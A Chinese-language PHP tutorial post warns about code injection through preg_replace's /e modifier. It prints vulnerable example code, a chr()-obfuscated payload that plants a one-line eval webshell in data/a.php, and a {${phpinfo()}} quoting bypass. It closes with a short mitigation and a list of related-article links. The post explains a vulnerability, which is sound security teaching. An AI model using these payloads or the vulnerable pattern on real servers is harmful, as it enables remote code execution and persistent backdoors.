慎用preg_replace危险的/e修饰符(一句话后门常用)


Posted in PHP onJune 19, 2013

preg_replace函数原型:

mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])

特别说明:
/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。
举例:

<?php 
preg_replace ("/(</?)(w+)([^>]*>)/e", 
"\1.strtoupper(\2).\3", 
$html_body); 
?>

这将使输入字符串中的所有 HTML 标记变成大写。

安全威胁分析:
通常subject参数是由客户端产生的,客户端可能会构造恶意的代码,例如:

<? 
echo preg_replace("/test/e",$_GET["h"],"jutst test"); 
?>

如果我们提交?h=phpinfo(),phpinfo()将会被执行(使用/e修饰符,preg_replace会将 replacement 参数当作 PHP 代码执行)。
如果我们提交下面的代码会怎么样呢?
?h=eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(100).chr(97).
chr(116).chr(97).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).
chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).
chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))
密文对应的明文是:fputs(fopen(data/a.php,w),<?php eval($_POST[cmd])?>);
执行的结果是在/data/目录下生成一个一句话木马文件 a.php。

再来一个有难度的例子:

<? 
function test($str) 
{ 
} 
echo preg_replace("/s*[php](.+?)[/php]s*/ies", 'test("\1")', $_GET["h"]); 
?>

提交 ?h=[php]phpinfo()[/php],phpinfo()会被执行吗?
肯定不会。因为经过正则匹配后, replacement 参数变为'test("phpinfo")',此时phpinfo仅是被当做一个字符串参数了。
有没有办法让它执行呢?

当然有。在这里我们如果提交?h=[php]{${phpinfo()}}[/php],phpinfo()就会被执行。为什么呢?
在php中,双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理。
注意:双引号中的函数不会被执行和替换。

在这里我们需要通过{${}}构造出了一个特殊的变量,'test("{${phpinfo()}}")',达到让函数被执行的效果(${phpinfo()}会被解释执行)。
可以先做如下测试:

echo "{${phpinfo()}}";

phpinfo会被成功执行了。

如何防范这种漏洞呢?
将'test("\1")' 修改为"test('\1')",这样‘${phpinfo()}'就会被当做一个普通的字符串处理(单引号中的变量不会被处理)。

PHP 相关文章推荐
PHP 和 MySQL 开发的 8 个技巧
Oct 09 PHP
PHP脚本的10个技巧(1)
Oct 09 PHP
php模拟post行为代码总结(POST方式不是绝对安全)
Feb 22 PHP
解析php file_exists无效的解决办法
Jun 26 PHP
php stream_get_meta_data返回值
Sep 29 PHP
一个显示效果非常不错的PHP错误、异常处理类
Mar 21 PHP
分享一段php获取linux服务器状态的代码
May 27 PHP
php中JSON的使用与转换
Jan 14 PHP
php 微信开发获取用户信息如何实现
Dec 13 PHP
关于php unset对json_encode的影响详解
Nov 14 PHP
PHP+Mysql分布式事务与解决方案深入理解
Feb 27 PHP
eval(cmd)与eval($cmd)的区别与联系
Jul 07 PHP
解析二进制流接口应用实例 pack、unpack、ord 函数使用方法
Jun 18 #PHP
深入PHP数据加密详解
Jun 18 #PHP
使用array mutisort 实现按某字段对数据排序
Jun 18 #PHP
php多个字符串替换成同一个的解决方法
Jun 18 #PHP
基于PHP读取csv文件内容的详解
Jun 18 #PHP
解析CodeIgniter自定义配置文件
Jun 18 #PHP
Yii PHP Framework实用入门教程(详细介绍)
Jun 18 #PHP
You might like
php中的登陆login
2007/01/18 PHP
Codeigniter校验ip地址的方法
2015/03/21 PHP
php微信公众平台开发之微信群发信息
2016/09/13 PHP
用Javascript数组处理多个字符串的连接问题
2009/08/20 Javascript
js或者jquery判断图片是否加载完成实现代码
2013/03/20 Javascript
简单的代码实现jquery定时器
2013/11/17 Javascript
js保留小数点后几位的写法
2014/01/03 Javascript
JS跨域问题详解
2014/11/25 Javascript
用Vue.js实现监听属性的变化
2016/11/17 Javascript
浅谈jQuery中Ajax事件beforesend及各参数含义
2016/12/03 Javascript
vue2.0开发实践总结之疑难篇
2016/12/07 Javascript
ES5 ES6中Array对象去除重复项的方法总结
2017/04/27 Javascript
Nuxt.js实战详解
2018/01/18 Javascript
nodejs基础之buffer缓冲区用法分析
2018/12/26 NodeJs
VeeValidate 的使用场景以及配置详解
2019/01/11 Javascript
0基础学习前端开发的一些建议
2020/07/14 Javascript
如何在JS文件中获取Vue组件
2020/09/16 Javascript
[04:11]2014DOTA2国际邀请赛 CIS遗憾出局梦想不灭
2014/07/09 DOTA
Python输出汉字字库及将文字转换为图片的方法
2016/06/04 Python
一个基于flask的web应用诞生 组织结构调整(7)
2017/04/11 Python
Python SQLite3数据库日期与时间常见函数用法分析
2017/08/14 Python
Python中.join()和os.path.join()两个函数的用法详解
2018/06/11 Python
解决python 读取excel时 日期变成数字并加.0的问题
2019/10/08 Python
浅谈numpy中函数resize与reshape,ravel与flatten的区别
2020/06/18 Python
python中判断文件结束符的具体方法
2020/08/04 Python
Django怎么在admin后台注册数据库表
2020/11/14 Python
HTML5实现签到 功能
2018/10/09 HTML / CSS
幼儿园中班教学反思
2014/02/10 职场文书
个人实习生的自我评价
2014/02/16 职场文书
民政局标准版离婚协议书
2014/12/01 职场文书
五年级学生评语大全
2014/12/26 职场文书
参观邀请函范文
2015/02/02 职场文书
礼仪培训心得体会
2016/01/22 职场文书
SpringBoot项目中控制台日志的保存配置操作
2021/06/18 Java/Android
MySQL创建管理HASH分区
2022/04/13 MySQL
Oracle用户管理及赋权
2022/04/24 Oracle